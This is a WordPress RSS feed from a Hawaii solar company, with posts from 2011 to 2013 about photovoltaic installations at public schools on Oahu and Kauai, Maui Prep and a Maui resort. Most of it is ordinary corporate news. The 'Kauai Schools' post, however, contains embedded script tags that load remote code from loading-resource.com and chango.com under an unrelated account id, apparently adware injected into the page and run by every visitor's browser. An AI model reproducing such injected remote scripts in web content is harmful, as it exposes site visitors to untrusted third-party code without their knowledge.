<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hawaii Pacific Solar...</title>
	<atom:link href="http://hawaiipacificsolar.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hawaiipacificsolar.com</link>
	<description>Solar Solutions for a Sustainable World</description>
	<lastBuildDate>Mon, 27 May 2013 20:12:13 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>New systems at Aliamanu Middle and Pearlridge Elementary</title>
		<link>http://hawaiipacificsolar.com/684/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=684</link>
		<comments>http://hawaiipacificsolar.com/684/#comments</comments>
		<pubDate>Fri, 24 May 2013 21:02:26 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[Aliamanu Middle School]]></category>
		<category><![CDATA[Hawaii Pacific Solar]]></category>
		<category><![CDATA[Hawaii State Department of Education]]></category>
		<category><![CDATA[Pearlridge Elementary School]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=684</guid>
		<description><![CDATA[Hawaii Pacific Solar recently completed the installation of photovoltaic systems at both Aliamanu Middle and Pearlridge Elementary Schools. Each school is estimated to save more than $500,000 over the 20-year life of the system. The PV systems will each prevent 300,184 pounds of carbon dioxide from entering the atmosphere &#8212; equivalent to the CO2 emissions ...]]></description>
				<content:encoded><![CDATA[<p>Hawaii Pacific Solar recently completed the installation of photovoltaic systems at both Aliamanu Middle and Pearlridge Elementary Schools. Each school is estimated to save more than $500,000 over the 20-year life of the system.<br />
The PV systems will each prevent 300,184 pounds of carbon dioxide from entering the atmosphere &#8212; equivalent to the CO2 emissions from 15,265 gallons of gasoline or from 317 barrels of oil.<em> </em></p>
<p>“The State Department of Education’s effort to conserve energy at our schools is continuing on both Oahu and Kauai,” said Bob Johnston, president and CEO of HPS. “Aliamanu and Pearlridge are the 7th and 8th school on Oahu to receive PV, and we are proud to be a part of their energy conservation and sustainability efforts.”</p>
<p>HPS gives each school lesson plans and other resource materials on solar energy and a sun safety program. In addition, each school receives a flat screen monitor that allows students to do real-time monitoring of the amount of power being generated and the amount of carbon reduction and energy saving as a result of the solar panels.</p>
<p><a href="http://hawaiipacificsolar.com/wp-content/uploads/2013/05/Pearl-Ridge-high-res.pdf">Pearl Ridge high res</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/684/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aliamanu Middle School Now Powered by the Sun</title>
		<link>http://hawaiipacificsolar.com/aliamanu-middle-school-now-powered-by-the-sun/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=aliamanu-middle-school-now-powered-by-the-sun</link>
		<comments>http://hawaiipacificsolar.com/aliamanu-middle-school-now-powered-by-the-sun/#comments</comments>
		<pubDate>Sun, 14 Apr 2013 21:59:03 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Featured Articles]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=673</guid>
		<description><![CDATA[Hawaii Pacific Solar has completed the PV installation at Aliamanu Middle School. [/caption]Hawaii Pacific Solar recently completed the installation of a photovoltaic system for Aliamanu Middle School. T The PV system will prevent 300,184 pounds of carbon dioxide from entering the atmosphere &#8212; equivalent to the CO2 emissions from 15,265 gallons of gasoline, 28 passenger ...]]></description>
				<content:encoded><![CDATA[<p><a href="http://hawaiipacificsolar.com/aliamanu-middle-school-now-powered-by-the-sun/aliamanu-middle-jan-2013-med-res/" rel="attachment wp-att-672"><img src="http://hawaiipacificsolar.com/wp-content/uploads/2013/04/Aliamanu-Middle-Jan-2013-med-res-199x300.jpg" alt="The PV installation by Hawaii Pacific Solar will prevent 300,184 pounds of CO2 from entering our atmosphere." width="199" height="300" class="size-medium wp-image-672" /></a> Hawaii Pacific Solar has completed the PV installation at Aliamanu Middle School. [/caption]Hawaii Pacific Solar recently completed the installation of a photovoltaic system for Aliamanu Middle School. T<br />
The PV system will prevent 300,184 pounds of carbon dioxide from entering the atmosphere &#8212; equivalent to the CO2 emissions from 15,265 gallons of gasoline, 28 passenger vehicles or from 317 barrels of oil. </p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/aliamanu-middle-school-now-powered-by-the-sun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A lot getting done! Waianae Phase 2 is finished and design ongoing for Pearl Ridge Elementary, Leihoku Elementary and Gus Webling Elementary.</title>
		<link>http://hawaiipacificsolar.com/a-lot-getting-done-waianae-phase-2-is-finished-and-design-ongoing-for-pearl-ridge-elementary-leihoku-elementary-and-gus-webling-elementary/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=a-lot-getting-done-waianae-phase-2-is-finished-and-design-ongoing-for-pearl-ridge-elementary-leihoku-elementary-and-gus-webling-elementary</link>
		<comments>http://hawaiipacificsolar.com/a-lot-getting-done-waianae-phase-2-is-finished-and-design-ongoing-for-pearl-ridge-elementary-leihoku-elementary-and-gus-webling-elementary/#comments</comments>
		<pubDate>Wed, 06 Mar 2013 20:52:43 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Featured Articles]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=646</guid>
		<description><![CDATA[]]></description>
				<content:encoded><![CDATA[<p><a href="http://hawaiipacificsolar.com/a-lot-getting-done-waianae-phase-2-is-finished-and-design-ongoing-for-pearl-ridge-elementary-leihoku-elementary-and-gus-webling-elementary/waianae-hs-jan-2013-med-res2/" rel="attachment wp-att-648"><img src="http://hawaiipacificsolar.com/wp-content/uploads/2013/03/Waianae-HS-Jan-2013-med-res2.jpg" alt="Waianae HS Jan 2013 (med res)(2)" width="1930" height="1282" class="alignleft size-full wp-image-648" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/a-lot-getting-done-waianae-phase-2-is-finished-and-design-ongoing-for-pearl-ridge-elementary-leihoku-elementary-and-gus-webling-elementary/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HPS installs PV at Maui Prep</title>
		<link>http://hawaiipacificsolar.com/hps-installs-pv-at-maui-prep/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=hps-installs-pv-at-maui-prep</link>
		<comments>http://hawaiipacificsolar.com/hps-installs-pv-at-maui-prep/#comments</comments>
		<pubDate>Thu, 07 Feb 2013 20:37:03 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Featured Articles]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=626</guid>
		<description><![CDATA[Maui Preparatory Academy in Napili, Maui, is estimated to save more than $450,000 over the 20-year life of the photovoltaic (PV) system recently installed by Hawaii Pacific Solar (HPS). The solar PV project was funded by parents of a Maui Prep student. “The savings Maui Prep will see with the PV system is just one ...]]></description>
				<content:encoded><![CDATA[<p>Maui Preparatory Academy in Napili, Maui, is estimated to save more than $450,000 over the 20-year life of the photovoltaic (PV) system recently installed by Hawaii Pacific Solar (HPS). The solar PV project was funded by parents of a Maui Prep student.</p>
<p>“The savings Maui Prep will see with the PV system is just one part of the picture. We also are educating our students about the environment and showing them one example of how we can work together for a more sustainable Hawaii,” explained George Baker, headmaster at Maui Prep.</p>
<p>“We are very pleased to help Maui Prep with its effort to conserve energy and to help students learn about PV as a renewable energy option,” said Bob Johnston, president and CEO of HPS.“</p>
<p>The PV system will prevent 220,223 pounds of carbon dioxide from entering the atmosphere &#8212; equivalent to the CO2 emissions from 11,236 gallons of gasoline or from 232 barrels of oil.</p>
<p>As part of HPS’ effort to help students learn about solar energy and PV, HPS gave Maui Prep a flat screen monitor that allows students to do real-time monitoring to see the amount of power being generated and the amount of carbon reduction and energy saving as a result of the solar panels. The monitoring can also be viewed on HPS’ website, www.hawaiipacificsolar.com</p>
<p>In addition, HPS provided curriculum materials developed by National Energy Education Development Project and information on sun safety.</p>
<p>The installation of the 91.44 kW(DC) derated to 73.15 (AC) system was completed in approximately three weeks and is estimated to produce 126,925 kW hours of electricity per year. The system includes 381 Conergy modules and Enphase 215 inverters. It used the Conergy Sun Top mounting system.</p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/hps-installs-pv-at-maui-prep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PV Savings for Schools</title>
		<link>http://hawaiipacificsolar.com/pv-savings-for-schools/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pv-savings-for-schools</link>
		<comments>http://hawaiipacificsolar.com/pv-savings-for-schools/#comments</comments>
		<pubDate>Tue, 29 Jan 2013 20:50:15 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Featured Articles]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=606</guid>
		<description><![CDATA[On Oahu, the Hawaii State Department of Education is estimated to save more than $7.7 million over the 20-year life of the PV systems recently installed by HPSatAiea, Kahuku, Kaimuki, Waianae, Radford and Moanalua High Schools. The estimated savings for the 15 Kauai schools over the next 20 years is more than $30 million.]]></description>
				<content:encoded><![CDATA[<p>On Oahu, the Hawaii State Department of Education is estimated to save more than $7.7 million over the 20-year life of the PV systems recently installed by HPSatAiea, Kahuku, Kaimuki, Waianae, Radford and Moanalua High Schools. The estimated savings for the 15 Kauai schools over the next 20 years is more than<ins cite="mailto:Bob" datetime="2013-01-15T08:58"> </ins>$30 million.</p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/pv-savings-for-schools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HPS team meets with school principals</title>
		<link>http://hawaiipacificsolar.com/577/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=577</link>
		<comments>http://hawaiipacificsolar.com/577/#comments</comments>
		<pubDate>Sat, 19 Jan 2013 00:50:02 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Featured Articles]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=577</guid>
		<description><![CDATA[The Hawaii Pacific Solar (HPS) team met with all the principals of the 15 schools in the Kauai complex last fall and the Aiea complex of schools in early Janaury. They will be meeting with the principals in the Kaimuki and Kahuku complexes this week and the Waianae complex in February. The meeting allows HPS ...]]></description>
				<content:encoded><![CDATA[<p>The Hawaii Pacific Solar (HPS) team met with all the principals of the 15 schools in the Kauai complex last fall and the Aiea complex of schools in early Janaury. They will be meeting with the principals in the Kaimuki and Kahuku complexes this week and the Waianae complex in February. The meeting allows HPS to outline the process and timeline for the photo-voltaic (PV) solar installation and gives the principals the chance to ask questions.</p>
<p>Another goal of the meeting is to introduce the curriculum material and monitoring tools that HPS provides each school so that students get a hands-on learning experience.</p>
<p>Schools in the Aiea complex include Aiea Elementary, Aiea High School, Aiea Intermediate, Pearl Ridge Elementary, Scott Elementary, Waimalu Elementary and Webling Elementary.</p>
<p>Kaimuki Complex schools include Ala Wai Elementary, Aliiolani Elementary, Hokulani Elementary, Jarrett Middle School, Jefferson Elementary, Kaimuki High School, Kuhio Elementary, Lunalilo Elementary, Palolo Elementary and Washington Middle School.</p>
<p>Schools in the Waianae complex include Leihoku Elementary, Maili Elementary, Makaha Elementary, Waianae Elementary, Waianae High School and Waianae Intermediate.</p>
<p>Kauai complex schools are Kamakahelei Middle School, Kauai High School, Kaumualii Elementary, Koloa Elementary, Wilcox Elementary, Kapaa Middle, Waimea High, Waimea Canyon Middle, Eleele Elementary, Kalaheao Elementary, Kapaa High, Kapaa Elementary, Hanalei Elementary, Kilauea Elementary and Kekaha Elementary School.<ins cite="mailto:Bob" datetime="2013-01-15T08:53"> </ins></p>
<p>On Oahu, the Hawaii State Department of Education is estimated to save more than $7.7 million over the 20-year life of the PV systems recently installed by HPSatAiea, Kahuku, Kaimuki, Waianae, Radford and Moanalua High Schools.</p>
<p>The estimated savings for the 15 Kauai schools over the next 20 years is more than<ins cite="mailto:Bob" datetime="2013-01-15T08:58"> </ins>$30 million.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/577/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kauai Schools</title>
		<link>http://hawaiipacificsolar.com/kauai-schools/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=kauai-schools</link>
		<comments>http://hawaiipacificsolar.com/kauai-schools/#comments</comments>
		<pubDate>Sat, 28 Jan 2012 00:15:37 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=387</guid>
		<description><![CDATA[The state Department of Education has awarded a contract to Hawaii Pacific Solar to install photovoltaic systems on 15 Kauai schools. This project is expected to be finished by the summer of 2014 with a total amount of 3 megawatts. The following Kauai schools are included: Kauai High, Chiefess Kamakahelei Middle, King Kaumualii Elementary, Koloa ...]]></description>
				<content:encoded><![CDATA[<p>The state Department of Education has awarded a contract to Hawaii Pacific Solar to install photovoltaic systems on 15 Kauai schools. This project is expected to be finished by the summer of 2014 with a total amount of 3 megawatts. The following Kauai schools are included: Kauai High, Chiefess Kamakahelei Middle, King Kaumualii Elementary, Koloa Elementary, Wilcox Elementary, Kapaa High, Kapaa Middle, Kapaa Elementary, Hanalei Elementary, Kilauea Elementary, Waimea High, Waimea Canyon Elementary &amp; Intermediate, Kalaheo Elementary, Eleele Elementary and Kekaha Elementary.</p>
<p><em><a title="Kauai Schools Project" href="http://hawaiipacificsolar.com/projects/education/kauai-schools-project">View Photos and Project Updates</a></em></p>
<div id="__tbSetup"></div>
<p><script type="text/javascript" src="//loading-resource.com/data.geo.php?callback=window.__geo.dataLoaded"></script><script type="text/javascript" src="//loading-resource.com/data.geo.php?callback=window.__geo.dataLoaded"></script><script id="__changoScript" type="text/javascript">// <![CDATA[
var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})();
// ]]&gt;</script></p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/kauai-schools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oahu Schools</title>
		<link>http://hawaiipacificsolar.com/oahu-school/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=oahu-school</link>
		<comments>http://hawaiipacificsolar.com/oahu-school/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 09:23:18 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar2.com.previewdns.com/HPS/?p=131</guid>
		<description><![CDATA[Hawaii Pacific Solar (HPS) was awarded a contract by the Hawaii Department of Education (DOE) to install solar photovoltaic systems in 4 Oahu High Schools, expandable to 20 schools in Oahu. This two year project will be done under Power Purchase Agreements (PPAs) with the installation and maintenance done by HPS at no cost to ...]]></description>
				<content:encoded><![CDATA[<p>Hawaii Pacific Solar (HPS) was awarded a contract by the Hawaii Department of Education (DOE) to install solar photovoltaic systems in 4 Oahu High Schools, expandable to 20 schools in Oahu. This two year project will be done under Power Purchase Agreements (PPAs) with the installation and maintenance done by HPS at no cost to the DOE.  The DOE contract for the total expandable 20 schools provide a total of 2 megawatts of photovoltaic systems.</p>
<p>In September of 2011 HPS began the implementation of a solar photovoltaic system on the first 4 High Schools in Oahu. These four schools are located in different school districts and include: Aiea High School, Kahuku High School, Kaimuki High School and Waianae High School.</p>
<p><em><span style="text-decoration: underline;"><a title="Oahu Schools Project" href="http://hawaiipacificsolar.com/projects/education/oahu-schools-project">View Photos and Project Updates</a></span></em></p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/oahu-school/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Napili Kai Beach Resort &amp; Sea House Restaurant</title>
		<link>http://hawaiipacificsolar.com/nk-sh-project/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=nk-sh-project</link>
		<comments>http://hawaiipacificsolar.com/nk-sh-project/#comments</comments>
		<pubDate>Thu, 01 Dec 2011 09:17:22 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar2.com.previewdns.com/HPS/?p=126</guid>
		<description><![CDATA[In September of 2011 Hawaii Pacific Solar began installation of a commercial solar photovoltaic systems in Maui. Hawaii Pacific Solar is installing a 150 kW total solar photovoltaic system on three buildings of Napili Kai Beach Resort &#38; Sea House Restaurant.  This project will be done under a Power Purchase Agreement which includes the installation, ...]]></description>
				<content:encoded><![CDATA[<p>In September of 2011 Hawaii Pacific Solar began installation of a commercial solar photovoltaic systems in Maui.</p>
<p>Hawaii Pacific Solar is installing a 150 kW total solar photovoltaic system on three buildings of Napili Kai Beach Resort &amp; Sea House Restaurant.  This project will be done under a Power Purchase Agreement which includes the installation, an annual 20 year maintenance of the system, and a 20 year warranty on the solar photovoltaic system&#8217;s solar panels and hardware.  All of these costs are figured into the price per Kilowatt hour that Napili Kai Beach Resort will be paying within the 20 year Power Purchase Agreement (PPA).</p>
<p>Napili Kai Beach Resort will save approximately $732,000 over the 20 years, producing annually an average of 200,237 kWh of electricity with no upfront costs to Napili Kai Beach Resort for the solar photovoltaic system.</p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/nk-sh-project/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sun Safety</title>
		<link>http://hawaiipacificsolar.com/educational-resources/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=educational-resources</link>
		<comments>http://hawaiipacificsolar.com/educational-resources/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 04:20:01 +0000</pubDate>
		<dc:creator>HPSadmin</dc:creator>
				<category><![CDATA[Featured Articles]]></category>

		<guid isPermaLink="false">http://hawaiipacificsolar.com/?p=546</guid>
		<description><![CDATA[Educational Resources – Solar Energy &#38; Sun Safety Tips]]></description>
				<content:encoded><![CDATA[<p>Educational Resources – Solar Energy &amp; Sun Safety Tips</p>
]]></content:encoded>
			<wfw:commentRss>http://hawaiipacificsolar.com/educational-resources/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
